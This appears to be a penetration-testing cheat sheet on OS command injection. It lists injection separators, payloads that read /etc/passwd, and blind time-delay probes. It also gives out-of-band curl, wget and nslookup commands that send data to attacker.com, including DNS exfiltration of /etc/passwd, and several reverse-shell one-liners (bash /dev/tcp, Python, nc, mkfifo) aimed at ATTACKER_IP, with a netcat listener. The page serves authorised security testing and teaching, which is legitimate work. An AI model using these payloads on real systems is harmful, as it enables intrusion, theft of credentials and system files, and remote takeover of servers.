OS Command Injection

Execute arbitrary operating system commands on the server.

Reference5 steps3 tools

Methodology

  1. 1Identify inputs passed to OS commands (ping, nslookup, file operations)
  2. 2Test command separators for injection
  3. 3Determine if output is returned (in-band) or not (blind)
  4. 4Use time delays or DNS/HTTP out-of-band for blind detection
  5. 5Escalate to reverse shell

Detailed Steps

Common vulnerable functionality:

  • DNS lookup / ping utilities
  • File operations (view, convert, download)
  • Network diagnostic tools
  • PDF/image generation
  • Email sending (mail command)

Test parameters:

shell
?ip=127.0.0.1
?host=example.com
?filename=report.pdf
?url=http://example.com

Linux & Windows:

shell
; whoami
| whoami
|| whoami
& whoami
&& whoami

Linux only:

shell
`whoami`
$(whoami)

Newline:

shell
%0a whoami
%0d%0a whoami

Example payload in parameter:

shell
127.0.0.1; whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 && id

When no output is returned, use time delays:

shell
; sleep 10
| sleep 10
& ping -c 10 127.0.0.1 &
|| ping -c 10 127.0.0.1
; ping -n 10 127.0.0.1  (Windows)

If the response is delayed by ~10 seconds, command injection is confirmed.

Use Burp Collaborator or webhook.site to detect blind injection:

bash
; nslookup attacker.burpcollaborator.net
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/$(id|base64)
| nslookup `whoami`.attacker.com

DNS exfiltration:

bash
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com

Redirect output to web root:

bash
; whoami > /var/www/html/output.txt
; cat /etc/passwd > /var/www/static/out.txt

Reverse shells:

bash
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; python -c 'import socket,subprocess;s=socket.socket();s.connect(("ATTACKER_IP",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
; nc ATTACKER_IP 4444 -e /bin/sh
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Listener:

bash
nc -lvnp 4444

Tools

Burp SuiteCommixnetcat

References

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.